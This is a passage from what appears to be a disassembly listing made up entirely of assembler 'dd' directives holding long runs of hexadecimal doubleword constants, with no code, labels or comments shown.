0CE001A46h, 0AD5CE6B5h, 0F7904569h, 78F462Dh, 0FDE401FDh dd 0FD3DD3B1h, 62A91C37h, 0CFD0F2B7h, 0AD9D2909h, 8B77AF0Ch dd 44D844F7h, 0B5168BDBh, 0D29D10F5h, 9AF0EF66h, 8002BFA8h dd 9CDBBEDAh, 1124975Bh, 0B7BB8017h, 480F1231h, 60879B8Bh dd 0A60D8CE8h, 9A207C00h, 98AEC347h, 745B012Dh, 8FB14B5Ah dd 0D1B7059h, 2B61CBC2h, 70F3F3C3h, 69B66034h, 0B30A0F10h dd 0B9A61E8h, 2465261Dh, 18483011h, 1A315910h, 0ED174EE9h dd 5EF2C25Dh, 5D028484h, 0C0D3F75Dh, 9F129Bh, 0BE97E67Eh dd 0E705810Eh, 76C9462Fh dd 577924B5h, 0E200ECB8h, 534FE57Fh, 5CED646Bh, 612A4139h dd 8050999Ch, 66030DC4h, 371D2D5Ch, 0C7895812h, 13E7285h dd 52B1F113h, 3C359D89h, 0B7EE6B1Dh, 327F007Bh, 0BA61ADA4h dd 2B135117h, 0B8859113h, 29C931A7h, 16278704h, 6A2A329Dh dd 64210276h, 40AFDA73h, 0B32F54E6h, 0BF0F0582h, 5B04B7F0h dd 0D7017D6Ah, 94416B5Eh, 81C041ACh, 10606221h, 90241105h dd 0F802DE1Dh, 0B9C6DD09h, 492D602Fh, 0C646822Bh, 0AE7D6400h dd 50B333F2h, 9E1500FCh, 96288D70h, 0B0980D08h, 4B2A3D20h dd 89D5DB5Eh, 9DE385E7h, 0BCEBCC55h, 233797E6h, 7B0FD91Eh dd 74EAC266h, 0E2E84D0Bh, 27C65359h, 4C75C700h, 4663320Ch dd 2EC40020h, 170830E4h, 0A2123353h, 3A3A4365h, 6E1F1423h dd 3F38EF01h, 1C311767h, 36053E40h, 10D75AE9h, 1CE885EEh dd 60728Ch, 9EFAA4D1h, 8B545A0Fh, 4FFDC15Ch, 3ADBC835h dd 0BE3A8480h, 47299F26h, 1AD1F173h, 0C43A7818h, 0B9DF0046h dd 2A08BF26h, 35165AFBh, 0FEBA05DCh, 0F7AE250h, 0C082B24Fh dd 161755CCh, 0ED2E00BFh, 5EB3012Bh, 0A760876Fh, 6E49B8FCh dd 0BA2901C4h, 9A6F016h, 4948961h, 7071D324h, 20018B03h dd 0E387BBD3h, 0E020463Bh, 1240945Dh, 0F0EAA66Ah, 1CBC494Eh dd 0CA84F5h, 0BF1DAFECh, 8E12EB83h, 50E66A70h, 0D38833F0h dd 8BE54300h, 0DE7EAC52h, 35B51631h, 4D2FD11Dh, 81660043h dd 9CB62DD6h, 98B7348Bh, 5BBB8700h, 9C0868Ah, 0D11EA202h dd 9612987h, 0EEAD79C9h, 5745306h, 5EF956DFh, 0C9778090h dd 50773444h, 0DC9594h, 0A188E149h, 1F8B1B0h, 0D059D14h dd 0DD2394CFh, 33DB7300h, 5BD74Ah, 66F1A996h, 0F40401E2h dd 0B3FD4C2Ch, 4877BE00h, 9F5F3876h, 6202F0BDh, 0A0D9B589h dd 26BF6681h, 0D5BA9FD4h, 19C4B345h, 6F81460h, 0A9519014h dd 0B8DD26ACh, 0F5B119ADh, 0FF022A28h, 0F08B66D3h, 0CDA05AD9h dd 0BE80BDBCh, 5B8B5855h, 0B6AF7EE9h, 43575865h, 0D482BC84h dd 7252E916h, 362159CFh, 177186A1h, 9C1FA818h, 0E6C04D56h dd 3AA6BFBDh, 659D2A8Bh, 29C1898Ah, 4E31A305h, 0D90D3282h dd 282B631h, 0BC708BBBh, 0DF20E1F3h, 0B6407ABDh, 4F1C4436h dd 2331A989h, 4F63E9C1h, 79B2C817h, 275BB600h, 0F8E7D7A6h dd 6BBA17E3h, 52C11ACDh, 509307D1h, 1FF588h, 0BE7388D3h dd 5E9A1BB2h, 109F34FCh, 0A46BD75Ah, 0BEEE8422h, 5A00DCF1h dd 3CEB2D28h, 12B3F12Ch, 10FC254Eh, 8E4ABA3Eh, 0C01BC8C9h dd 3D7E7D34h, 35D65706h, 5B5489ACh, 6F2E7522h, 8BFB02C6h dd 292825B5h, 531148F3h, 0B5D8604Fh, 7283113Dh, 9031408Ch dd 2DD56058h, 7910C2DBh, 0B508B1D0h, 610C9F1Ah, 0B78B29FEh dd 9F6F9012h, 0B4EF9E0Fh, 4799F7C0h, 0E9517254h, 6E888422h dd 2F86B0DBh, 0E62B40B0h, 646E705Ah, 71E40F02h, 0D7AB503h dd 0A86B139Dh, 0B506BAF3h, 0CC96E63Dh, 0D8F1ED09h, 0CE813A5Bh dd 678913A7h, 0FFC03CCDh, 9E55012h, 0A9B52BFAh, 65C7F629h dd 6D6214C4h, 4270996Ah, 0B84FD704h, 0A2F97C13h, 1326E4Ah dd 0E2B9E30Dh, 0CB20F98Ah, 52145A7Eh, 0A02EE7B5h, 9893449h dd 0D7130203h, 0B1955A04h, 0D90C9CD6h, 98DFCE27h, 0B0F6380Ch dd 81AF9B5Bh, 18B0D299h, 50763221h, 207DAEE0h, 0DDAB9524h dd 98B7C609h, 8D1182h, 0E145DFBFh, 291B37ACh, 1089732Fh dd 304BBAh, 0DC748509h, 0B156B805h, 0DF142C02h, 429025C0h dd 0C04CED60h, 0DD58BF6h, 5B188A3Ch, 0C2322449h, 0C4F3EDEEh dd 2A9E950Ch, 103809Ch, 0B52ED1BDh, 0E0B78B2Bh, 29FFAC09h dd 0C0DA6DB7h, 0BC6FCD7Eh, 0FB01A305h, 0F3B2FCAAh, 9B283800h dd 7EA68CCEh, 0BCB6101Eh, 4BCB5584h, 5781C895h, 0E2690129h dd 0C6050148h, 0E9587391h, 5B93B87Eh, 5D07480Ch, 2FD37A5h dd 8A0F90AAh, 0C785F1D9h, 17B68E58h, 0FC301CA2h, 0E368010Fh dd 0B196F32Ah, 9500306Ch, 19161D5Bh, 5BFD1393h, 9BA6E37h dd 0A983E58Bh, 4F15785Dh, 3006C92Ah, 0EE16E820h, 34C97668h dd 8ECB2EF6h, 6DF52D91h, 0AFA6D335h, 0FA9977A0h, 75DF312Eh dd 0F396900h, 95419589h, 0A65B4384h, 91A2E07Dh, 0B913168Ch dd 0C81CCEB2h, 5EEDC117h, 0FDBEAE1h, 0F90C0611h, 8B0D38E9h dd 0DE9BC04Fh, 32F93880h, 9BEC226Eh, 0CAA05171h, 5F810B61h dd 4FBD4720h, 0BFD8D021h, 0F4B41B47h, 0D589239Fh, 0B5E49330h dd 0E312E656h, 1273DFA4h, 5557C9Dh, 0A30FB1AAh, 69DA4AC6h dd 7B367680h, 0A904EA33h, 0AE97C1Dh, 0F15EBD40h, 2A059F8Dh dd 0ED694517h, 51C9CFA3h, 0E602D4Fh, 92192322h, 0D8E91673h dd 4BEE9DB6h, 0C018881Ah, 6BF2F669h, 0DD95C551h, 7E756E15h dd 3168A381h, 0C9409366h, 0A6E4C4Ah, 0B428939h, 0E4E58CBEh dd 60EB02F7h, 0A07A079Ah, 0AD2047F0h, 48B8051Dh, 826B3CCBh dd 5B898E24h, 9BF9C085h, 74AC99Dh, 0B8F06C3Ah, 4EC07292h dd 63C7C860h, 0F59E801Ch, 0EFF15080h, 0EA8D89A1h, 2973A033h dd 256158C8h, 2CC2D52Fh, 0F8017B7h, 173B728Fh, 15AA246Ch dd 33C1BB52h, 0C79D00D5h, 8DF4534Ah, 90DF0164h, 4F942D0h dd 66BECD2Ch, 0F983F041h, 320065Bh, 7C9E09CBh, 0AC5D2EE3h dd 6C0D698Bh, 57BC7Dh, 0C0219A82h, 49014357h, 3C4A769Fh dd 0F270111Dh, 3BF42547h, 2D201B50h, 95F0606h, 0D92FA98Dh dd 0FFF8711Ch, 0DBD2944h, 852C54B9h, 0E8BE40D5h, 4148A5BBh dd 0CFB6C09Fh, 0F294B748h, 1718054Ah, 0E9C18B23h, 0B2B833h dd 0B4787401h, 0F9BF0F53h, 41BE5E00h, 0EB408280h, 7EEE9604h dd 5F1F1846h, 0DA340098h, 25B50B50h, 36F92C9Ah, 5D5FF0B5h dd 0BEC602FBh, 775444DFh, 9A6F2D1h, 121F8108h, 0CB90550h dd 0F0D4A11Ch, 4C0FDBEFh, 0F4601597h, 20F510CCh, 11445A2Dh dd 2116200h, 9646F189h, 169576AEh, 0A65DB842h, 0E0854FF1h dd 69857D08h, 38816FB7h, 2DCF4174h, 0D898BB78h, 0FE484CD7h dd 0BF92D43h, 81F637A6h, 699D89B9h, 8B900028h, 0DE0797FEh dd 0B52370F8h, 62A23541h, 490D4556h, 203F0E9Eh, 0E1970F72h dd 0B36C0E01h, 2CA9B589h, 0A6895F02h, 4779676Ah, 112861AFh dd 618D4107h, 0D22C6914h, 1723183Ah, 3067C603h, 0F6AC1215h dd 5AEFA812h, 0FA026E6Eh, 0E5F1A6E9h, 6F0C6AE0h, 4FC92549h dd 74CD6813h, 34A202Ah, 0AB008D45h, 0C47B21B7h, 1DA1EA9Bh dd 583B4782h, 0ACD79A60h, 0A4A81E54h, 5E611B02h, 0D10901E9h dd 4CE1628Ah, 0D4A37412h, 0F61DAB02h, 8259FB0Eh, 7C1CB9F7h dd 0D59D9ECh, 12656A3Ah, 231C49FAh, 185D9D84h, 15B238E3h dd 5C9DA30h, 35F63BBEh, 48A9A346h, 418A7085h, 0AC69F84Eh dd 0F5059C22h, 4B2FBD83h, 5D228EA2h, 1BC44785h, 0E6379160h dd 97424E04h, 0DFCD07Ah, 8478E480h, 77FAA5AFh, 0FD928502h dd 0F466E94Eh, 0F900F6C2h, 625019EFh, 2EDA5F2Ch, 34CA7073h dd 24CFF3D4h, 3017538Bh, 1888B5CFh, 0CC7356C0h, 3186527Ch dd 0CE818870h, 9C80C609h, 0EBD0082Ah, 706CD34Bh, 2B4F48A3h dd 554DE68Eh, 770BD8BCh, 42D5383Ch, 0EBB54DB6h, 0B02C3BB0h dd 0CEFED24Ch, 0A557E036h, 0F2134Fh, 97F6F4A6h, 0C430D0CEh dd 0F9163E75h, 0F48835F8h, 0F9379186h, 138A1817h, 881248C4h dd 0CA008E79h, 78F52872h, 4945ACFh, 698A042Fh, 4AA3B744h dd 801776Ah, 0FB4D6C4h, 41503410h, 40B8A968h, 0DE77EA00h dd 25E4D9h, 844AEECCh dd 0E53AFBF1h, 80E990BFh, 34792E65h, 0A6AF2617h, 0EC10884h dd 9932E91Fh, 0E51980E8h, 1CA1C94Ah, 2EB05F27h, 903B6068h dd 0B40E833Ch, 0A2480B5Ah, 0F470E620h, 0E313DC6Ah, 91C571E4h dd 3EF0081h, 8981953Ch, 3C1041BDh, 8C18FC79h, 0B11ADB01h dd 8E0FCA28h, 60607142h, 9E61D652h, 0DF810087h, 1A015C54h dd 0DA211EB6h, 25181DD1h, 38AAF100h, 779FD083h, 0D5CF5F7Dh dd 0C078DB40h, 940A6609h, 6B72165Fh, 0F44CDFCh, 67ACC028h dd 12B19506h, 0B05F5851h, 0F94BCA00h, 11058A35h, 1FB21059h dd 90C8087h, 0E6B09BCEh, 3244520h, 2EAC67BEh, 0B685B070h dd 0A0DFE097h, 390C2EE9h, 2A9D0B4Bh, 830F6CC8h, 0A5116E95h dd 6016C40Bh, 55CB780h, 5F51C4BEh, 73F7A409h, 2DB53188h dd 46442599h, 0E1BD0912h, 0ECED5D84h, 28C14A8h, 53BE664Fh dd 0A790E82Ch, 0E50027B0h, 7134F1A7h, 5FFCB59h, 0B509F525h dd 0FC0FD5B1h, 846E4BF7h, 0FAB00E7Dh, 0E3F35D12h, 885276BCh dd 0F55F12A8h, 11B08857h, 4CA6BC17h, 0A5BFAD12h, 98E8D8FFh dd 58B7095Bh, 2729A53h, 0F91065B4h, 0E7A2A7B6h, 0FBFE01AEh dd 40A400F4h, 0D9059FAEh, 9A9936F1h, 21804C80h, 3E4A45EEh dd 10803DA9h, 0D791AF70h, 5159BD8Bh, 0F5F00A5h, 0DE81F3B7h dd 56B9162Fh, 8805C94Dh, 27151DB2h, 0E06DE38Bh, 0A2E360C0h dd 0BCB91275h, 89BB0BC5h, 0F75B89F2h, 86280D4Ah, 0F5BD3382h dd 2DECD12Bh, 5C0D5EDh, 3889A4DCh, 68417D9Dh, 2BE18D0Ah dd 71E06C76h, 0DA28D632h, 0F8049234h, 22159D29h, 7CD961FDh dd 4D5B12B9h, 0B37FE069h, 0BA3BEEFCh, 0BC7DDD2Bh, 0E8012D1Bh dd 0C8399F68h, 13007AE0h, 0A345114Fh, 25B57158h, 5C41503Fh dd 1CDBC65Eh, 0E8F4917h, 60C01688h, 4AE9869Bh, 2167B37h dd 5388B34Bh, 7D4C40B2h, 0A607B626h, 82260DDh, 0EE024B19h dd 411CC24Fh, 0B938DA27h, 9A58259Ch, 0AAF98000h, 0BD436BF0h dd 4AC7EEDCh, 57F0D085h, 1E0468D5h, 959D0150h, 0A34A2CE2h dd 3119A235h, 75DCF4A9h, 0CD3ED32Ch, 0FF04CA96h, 610B1E65h dd 5F9A3967h, 0DECAF60Ah, 4DB3FE02h, 566EF121h, 0A35E69D6h dd 8D09A968h, 6B35F908h, 0D41724Dh, 29F03FCAh, 0C5EC0B76h dd 0B9716AC2h, 64B16549h, 0E00E631Ch, 9A09BCAh, 8892B95h dd 284B31F8h, 8D82DFA2h, 900115B1h, 498012E9h, 6D471474h dd 97003099h, 6E28F558h, 9AC05D8h, 0C4B4955Bh, 0F66042E2h dd 0F802A65h, 0CD0B4B8Ch, 5696D70h, 4125E781h, 0FFB8B1ADh dd 550174FEh, 23F145EFh, 842A85BDh, 0E2AAE6CCh, 0BD37558Bh dd 0E2502B0Fh, 0E93ABF66h, 9017053Eh, 22C31965h, 2DB5B5A0h dd 50F0B283h, 0FB8BAA5Ch, 3D3B7019h, 2A0F200h, 0B2E211C2h dd 4DC60581h, 0AD4CAB9Bh, 13CB8FFh, 1FD6B180h, 298EBCECh dd 27BBB8D9h, 4FE277E9h, 6BE0116Dh, 1235E70Ah, 5600E03h dd 0C289D029h, 305F0DB7h, 166B1245h, 0B1671BA5h, 134F5EBh dd 23830AE8h, 1416E03h, 0CD3A93E8h, 0BFED7328h, 0A0E83544h dd 0BF9815Fh, 22BB1079h, 8B07DF73h, 0EFE1AEF2h, 5B200299h dd 0AB4C1DB7h, 0FBC78015h, 5E7D5666h, 37605F27h, 0D04C3F86h dd 8FB0296h, 0AE70B941h, 0F78F26E5h, 65DDCE70h, 68450234h dd 185D8D21h, 0DB604B6Fh, 382373h, 79B713E2h, 858BBC76h dd 6657CD60h, 0CA23EAB8h, 0A5D4A56Ah, 23C6AECDh, 5492058h dd 0C295FBECh, 8841D243h, 49952965h, 8309FAB1h, 0F88901E1h dd 0A1D4CB33h, 4BA1DAD0h, 45870F57h, 8F0CBDC0h, 27BC9251h dd 35A95EA8h, 4D3BA725h, 3290C067h, 37002ABFh, 8B340EB9h dd 0CD6061C6h, 4DAD2DB8h, 0B8232903h, 0ADE19527h, 0CE04042Fh dd 82102EF1h, 49900222h, 1EE91CD2h, 9D49B650h, 2D1AEE28h dd 8B83ED37h, 0FBEB1428h, 0C739A0F7h, 87D7A50Ah, 98199D0Bh dd 7A7B8C4Dh, 746E0A2Fh, 0C91336Fh, 1D958B04h, 0C5BD422Ah dd 27BC080Eh, 9EC02FCDh, 14BA49A4h, 0D8DCC780h, 7D8523C7h dd 0C5AE01C5h, 0B74E670Ch, 5C944BDh, 6AE81669h, 62943E25h dd 2DB55601h, 4F2ACFCAh, 0B72B200Bh, 5AD56A08h, 0EBA92984h dd 4B4BBE51h, 6D8C7FDBh, 29419950h, 0E2C5B4CFh, 5523E972h dd 1BEC5BDh, 28FB8F8Eh, 89EABAE4h, 0DC74DEF6h, 0F3106102h dd 49DCF414h, 0ED1D24D3h, 490BC59Dh, 418875FBh, 4202F53Ch dd 5B50890Ch, 0DC6AB6h, 7BE11A6Bh, 7A298084h, 2358B55h dd 2E19DEDBh, 0B23738A7h, 68DD2381h, 1D2AF9E1h, 62A50B0h dd 69B53158h, 6957FBC7h, 2C098541h, 8B0EE15Ch, 4A14422h dd 398D8951h, 0CC5E0A08h, 939372Fh, 7271491Bh, 90BFB803h dd 266002F0h, 85C7FD23h, 0C4AB0D5Bh, 59FC6678h, 57BCF261h dd 7BE4C704h, 39C1EBB9h, 7E6FE99Dh, 0DB7807B5h, 0A2F99509h dd 5D30B263h, 70002537h, 80FB67C7h, 922628C6h, 0BAC128D5h dd 0F0110DC7h, 2031EA81h, 144CC209h, 414D3F21h, 8D93FFE7h dd 0FE5AA185h, 286450E4h, 0EE7035FFh, 0BE97B289h, 2B58C194h dd 0F01A92C2h, 8166A000h, 905A4D38h, 0D812451Bh, 3C0750B7h dd 3A81D003h, 5C194566h, 2D8EF484h, 0E924100Bh, 0C8C788D9h dd 0A9204890h, 40031914h, 88064F3Ch, 1E18B5C2h, 12627D8Bh dd 503085Dh, 1C5B61F8h, 9BD1030Ch, 0DB4D2233h, 51121008h dd 8F640A24h, 83056D05h, 2FD804C4h, 0A7BB88Bh, 0B0A98110h dd 59B53014h, 0C306C033h, 3135BD83h, 24E1C850h, 6585C684h dd 47003BBCh, 9AA7D268h, 0B516FFD4h, 0DAF42095h, 0FDA33BDDh dd 6D0487Ch, 13820868h, 0D3F7211Dh, 0AC6E2B60h, 54B8A300h dd 0AF433DD2h, 0B356AA01h, 30BD8D2Bh, 728C0F01h, 0CAB5052Ah dd 0E901C08Bh, 0F88AB3F1h, 2ACDDE88h, 1209758Ch, 74184499h dd 53501918h, 4F38B838h, 0C9E7E404h, 249D71A0h, 15FCE220h dd 22585BD3h, 20211788h, 32DF13E2h, 76CE9941h, 1D4DF0E2h dd 13CC0638h, 0BA0E4BF9h, 0E8DF8197h, 7A6F0827h, 0DD670616h dd 4EBE15C4h, 0BF2590F1h, 0EAD0E8C8h, 0EE592E6Dh, 5DE4AA4h dd 0F6B0D04Eh, 0CC5B043Bh, 0A097F707h, 0CF0BD4Fh, 0F5EE6784h dd 165CB1A0h, 0C2EC815h, 296799E8h, 65D9D2Fh, 4E30F999h dd 0BF46C491h, 200066Eh, 65EF7550h, 65D767E8h, 249EC6C8h dd 9A39CCh, 287DE6B4h, 9F1BDC26h, 0CE7C7AA3h, 1B7BDADh dd 0BC60FD00h, 17A888A2h, 0A0115E5Dh, 222FE8B0h, 41604F07h dd 0F0D77DCFh, 0CE628B66h, 0E40D31A8h, 0FC0445D7h, 1217CFB9h dd 0D556EBE8h, 0ADE071A6h, 3900072Fh, 81B4D78Dh, 31B830DEh dd 157A684Ah, 88DE6A25h, 2B0FC80h, 68484932h, 0E8F20466h dd 7AFF0694h, 2D0F020Ch, 403DFC38h, 9857ED23h, 26F77C38h dd 90FE5951h, 0E0804B2Eh, 0B85416EEh, 46A19D43h, 8952E861h dd 25D98085h, 6D942D43h, 626EFAh, 67AE58CAh, 2C16DAE8h dd 8141A44h, 0A03034A1h, 0C8F3C360h, 0B82147Ch, 0E40F2DB5h dd 826D77A2h, 0F02A66C0h, 0FEE84D16h, 0D6813047h, 3C2D17B1h dd 21492C8Bh, 8CC5DC49h, 2FE7E8BBh, 26F1658Bh, 5BF5A1EDh dd 0FDECC00Ch, 2CD2C38h, 0E8FC9745h, 7F7305B7h, 45E0D0h dd 2C067C4Ch, 8D237703h, 8025A529h, 1F243D08h, 33E12429h dd 754E7DD5h, 0BB8036DBh, 1E06C55h, 21A59514h, 9992536h dd 72FA5BC7h, 8AA0F8FCh, 0A0502D57h, 6609B3FAh, 0F5719436h dd 0C03A4D9Fh, 0BD501A18h, 0C1DF1B01h, 89733AD1h, 22405E1h dd 4D82BE8h, 0BB64D8DFh dd 87C84602h, 4BA92866h, 9BB34A30h, 7CE581B7h, 9B2EB0E9h dd 1F95C7B8h, 0C4CB1F2Eh, 0EA3709B9h, 844DF40Dh, 0AC26EDBDh dd 0F2BDA4CEh, 6E21C0A9h, 0D276971Ch, 0DD1CAC2h, 4BD953h dd 37AE68F4h, 8B255FDDh, 0E164C3h, 60DEAC32h, 584BE357h dd 0A7D64900h, 0FA8B5628h, 0BAA5E35Eh, 0B4542B6Ah, 9509B12Ch dd 2B4592Dh, 611B509h, 71D4D312h, 0B94B30F2h, 1A977E92h dd 60794D19h, 8A3637E1h, 509F1305h, 11BDC688h, 128C15ACh dd 0A65B2A17h, 7FDBE017h, 4CB371E4h, 0A30597D0h, 9598656h dd 58E25DA5h, 0DA408FFCh, 29A2CCFh, 0B999442Bh, 38561A89h dd 88151DDCh, 0ACF41295h, 49E89328h, 4F0A21F7h, 0AF6BE8AEh dd 0AA95A190h, 420B4096h, 80EAB704h, 0C8DB0A67h, 0A262B102h dd 7B171DF2h, 8DB1D037h, 3803DF07h, 0B9301FC2h, 518A1691h dd 0DB2B9410h, 94C98074h, 188E68D4h, 0F15F526Bh, 0B95A8529h dd 0F1952990h, 0F491BE15h, 80F75500h, 7BB00BE2h, 1B35DE5h dd 0BA0DB41Ah, 41E0344Dh, 1E388FB5h, 46E1502Eh, 0B53D9D09h dd 0F9BDDFA0h, 5FD4B7DAh, 0F282C037h, 40B59AFEh, 0A416350Bh dd 80F97089h, 1AFCAFB1h, 277834B3h, 4152039Eh, 1E13B966h dd 8DA6AB4Eh, 2A0FD0E1h, 5327670Ah, 9F102039h, 0DCD39482h dd 1A177A54h, 8DE0E0F6h, 48314A5Ah, 2C696AA8h, 810BB05Dh dd 80C11688h, 0AC886355h, 3E280E9Dh, 690D194Dh, 0C3DB4DAAh dd 67A85C5Ah, 0CD2A9529h, 0B5E65418h, 9226DD29h, 0A1213D08h dd 276D278Eh, 0FB675C0h, 94A70202h, 1EB1D83Ah, 5417EC82h dd 50F65B1Ah, 2371CCE8h, 0CF5C2803h, 32F7B41Eh, 75BEF1ACh dd 0B7B79050h, 0C09F1C52h, 0EACF0818h, 5C146FEDh, 5B82FE8Bh dd 0DE15DB6h, 801FE461h, 0A1937A2Ch, 0C257FD11h, 83BED2E0h dd 0F1803E01h, 0DDBD032Dh, 0A809933Ah, 0E8972B4Dh, 0A4310191h dd 21CB5B5Ah, 89207AC7h, 92068Ah, 2DB2D020h, 624516BDh dd 892F8F0Fh, 93E50A4h, 0C11F527Bh, 67CE884Bh, 2E3F8090h dd 0C21D83CDh, 5EA89D52h, 4DE6E24h, 0C19834Fh, 0E10144FFh dd 0EF041320h, 0B9002259h, 250557A2h, 0F99BC34Ah, 0BE664080h dd 8A0BBCE9h, 7E830FC5h, 0EA0EC4E5h, 1C23233Fh, 472C0A00h dd 12C935B5h, 0B23E269Ah, 7BF74EFBh, 2E029400h, 6ACA961Ah dd 0ECB80B05h, 0E5A25A87h, 0DAC40C00h, 8F5453AAh, 0CFD6E101h dd 6D8E72E8h, 16EE59F0h, 9E5FEBEDh, 15818477h, 84D6F827h dd 0DF2C2320h, 0B5096000h, 0B5FA1C91h, 0A7F92E4Ch, 9392723Ah dd 3910781Bh, 48B5D000h, 66AB969Dh, 0F3E0D634h, 0B02D46EAh dd 1E6D7EFh, 21A87CEEh, 99626D86h, 90CB41ECh, 74DF4F30h dd 0BFBB1E50h, 29CD6D49h, 63486BC0h, 1FA40114h, 0BAD566AAh dd 80E22860h, 0EE180B0Ah, 0CC8700BEh, 0C41E5F50h, 0F472801Ch dd 8A30B1A3h, 3DC388F9h, 0D5A7A261h, 83816F37h, 94B31768h dd 0DE6540A4h, 7046330Ch, 50DA92C5h, 170BC7D8h, 0E607FE68h dd 0C1C8E003h, 6DCD09E4h, 21108E0Fh, 11209D03h, 6F08BD25h dd 0B308D658h, 579E85Ch, 0B850A280h, 246E4A4Ah, 0A2D01912h dd 756A000Fh, 9BBE9AF1h, 16E30B34h, 23EA820Fh, 0FD01E251h dd 0AE8FFB44h, 89607682h, 0E1744D9Dh, 52F12FBBh, 0BD20D270h dd 0E0A5B8DCh, 0F7CE9771h, 0E658A093h, 127BE38Dh, 0F00FB6C0h dd 17D52E2h, 3387417Ch, 12AC9BDh, 0F363D1FFh, 64301AA2h dd 0E62A000Ch, 0BBDB9C9Bh, 932D3707h, 0DAC50009h, 0BB9051Fh dd 2DCE827Bh, 0ED16C154h, 1BA8FFC4h, 0CEFB579h, 34B88360h dd 8A0B05AEh, 0B6026ADDh, 350FE05Bh, 0CD053E9Bh, 318882DAh dd 900EF20Ah, 8950CE8Ah, 0D97E0B29h, 1CAD3899h, 9F002A3Dh dd 29AB71B6h, 0B6C95D8Dh, 0D42E90Bh, 156234F1h, 233DD768h dd 64C98039h, 1A2F4A9Bh, 0DB88495Dh, 0B17062BCh, 0BD238D09h dd 816F4035h, 1DF409EFh, 3B8151C9h, 3BFDB959h, 6979E130h dd 0E0D213A9h, 6EDE4790h, 0BD8B6186h, 4C47A595h, 2E29F26h dd 3195EBD0h, 257EF82Ch, 366FFAEDh, 3059DB2Fh, 0F5FF6A87h dd 16F1B521h, 1AE2D123h, 701C930h, 19A06FA1h, 0A5856133h dd 1016220Ch, 0E9122875h, 3394E2F2h, 85B0FF39h, 0E6DA2980h dd 311AC470h, 71E40508h, 0D5304BBDh, 8AD3803Bh, 0C818B6F2h dd 153097B3h, 0CB7CB407h, 8340925Eh, 4625EFCh, 5F26FD7Ah dd 0F3CF8014h, 5B0B70D4h, 42F8C18Bh, 537F344h, 0A19BB1BFh dd 33C96B48h, 0C283D8h, 769463C8h, 538FD6A1h, 2B8DAB1Eh dd 5DAB8CF5h, 0BFD180BBh, 72E9B7BBh, 0FB750F74h, 0D891C6A4h dd 0D1C6E80h, 18160E6Bh, 4641B950h, 85892E19h, 0BF02E83Dh dd 7B71BEAAh, 416A3EC2h, 45A517A4h, 9610D03Bh, 0DE766557h dd 0FB99ADACh, 337CC2E2h, 0D16B8269h, 62695E2Bh, 22931D84h dd 1880A5E2h, 6E380FEh, 3626895Ah, 17C3125Ah, 4FAE235h dd 197B58Dh, 0A134DD84h, 0AADB40EAh, 52B746C0h, 2B172079h dd 4BE66ABAh, 99A94EF0h, 0EB05747Fh, 7BC5D32Ah, 0FCD2F8A8h dd 17D03C57h, 8D918D01h, 202AB961h, 1495B5D4h, 0FC5082A4h dd 141B9ACh, 51DD29DDh, 0C02B2189h, 7A46E40Eh, 6D9D89BAh dd 43EE590h, 51501A3h, 0A1888C0Fh, 0B1160E9h, 0DBA75CDh dd 2F4D2901h, 570A3BA7h, 1099DD8h, 0AD9ED988h, 80D1C233h dd 0E983D07Eh, 9FF47504h, 3985B7h, 58B09276h, 308370F4h dd 0AAF03AC8h, 532FB72Ch, 4D974A0Dh, 3128E016h, 0A712459Dh dd 3CC86D11h, 7A8D005Ah, 4228F91Eh, 0D50053E1h, 16744705h dd 2DF815AEh, 56F8B621h, 4D953E9Ah, 0DB3FC205h, 16121057h dd 0A7F50BF1h, 7F0BC9C1h, 0E9070D2h, 79AD8D2Ch, 0C2DE509Dh dd 0C1031846h, 0ACD2FF08h, 955819B9h, 86F0C493h, 0D87C6B27h dd 98E8F500h, 7ACDCB57h, 5DB7B55Eh, 5ACAE600h, 26DF06C1h dd 20E22582h, 20D7B061h, 0E97D0A6Dh, 755217C7h, 43C5CF70h dd 68410077h, 61C03B55h, 46B89397h, 0E42A2925h, 2751E3C4h dd 0B8030E09h, 0C0045684h, 5DB94F66h, 9B0B5AE8h, 0A04527D0h dd 0E24DE890h, 0A49D5A33h, 0FF256144h, 705DFBE1h, 0FA997255h dd 0CFA5D780h, 12AFA1C1h, 1EDD80B8h, 6905A539h, 8AE1F95Fh dd 1DC2A58Fh, 8910807h, 0EE6E2BD9h, 99BD1204h, 353840BCh dd 33181F6h, 814D932Ah, 5BBB207Ah, 0B00F4251h, 0A0E395A8h dd 72B95345h, 224A9035h, 4B8411A1h, 8AA90140h, 1084CA50h dd 860F0308h, 0AE48B463h, 0D6601049h, 940BDC7Ch, 0D85EABAEh dd 0DC5DBCBCh, 76EDBB04h, 0B1803C88h, 8221B19Dh, 13404FF6h dd 185884h, 0C8902775h, 209670A1h, 3298F434h, 2C5B7EF4h dd 2DCE180h, 0C90AD9B7h, 0F8A18885h, 0FEB64E14h, 5C002E2h dd 0DE8201E5h, 0F0AD400Dh, 8A007314h, 5C3D758Eh, 612EC1B2h dd 0C51A28DFh, 45D661A0h, 0F87BA4C0h, 0E1253379h, 0F45A5415h dd 65B9EC00h, 744A3E28h, 41952E01h, 5390828Eh, 0F9465250h dd 0E05BB900h, 0A69284FDh, 0A9990214h, 0E15873A2h, 50318E80h dd 0CFF15A5Bh, 0EA6090AAh, 6A5F9C4Ah, 61C0759Bh, 90FA3ED8h dd 810FA512h, 8564C027h, 0FAF630BEh, 7312E568h, 60AF38FEh dd 17227A3Dh, 45C40D01h, 0DA5571F8h, 48DB07CCh, 895F5F57h dd 0ADC0BCCBh, 60EA6482h, 3481CCFBh, 70191A24h, 0DA6E38E1h dd 3FCDDC4Ch, 0CF87B17Ch, 0E664826Ch, 480256CAh, 6D3610FEh dd 9A507052h, 0D3379729h, 0DA48FC00h, 24126DF6h, 8B673E6h dd 53B1021h, 0FDEB9685h dd 30F00DA6h, 0D7010B17h, 89CFAB2h, 0DE478843h, 0FCE93430h dd 0BBEFB701h, 0B5F1D640h, 6AF704BFh, 0C0F95A96h, 0AFEADBCEh dd 8E6B6890h, 0E0ADEDBAh, 0D3AC9D2Eh, 0E70B870Bh, 0C9AA822Ch dd 5C7070Ch, 4E7BBF18h, 8B5EC803h, 0A55E92B5h, 7213F06Eh dd 0FD2B1389h, 51F6620Ch, 0A53DD70Dh, 7B2FD101h, 5888A7DAh dd 0BF073539h, 2C577E5h, 0E92DDE01h, 202B0689h, 481247D2h dd 0C213FAE0h, 2762B0D9h, 0A0F150h, 0C2C98D43h, 0B41F2146h dd 8ECFF5F0h, 0DC682363h, 0C0F07E39h, 0ADF8E39Ch, 96674CACh dd 7FFBCB74h, 123A6108h, 9A31AB56h, 5336965Bh, 1B112DF0h dd 3F0A3302h, 4AB5FF64h, 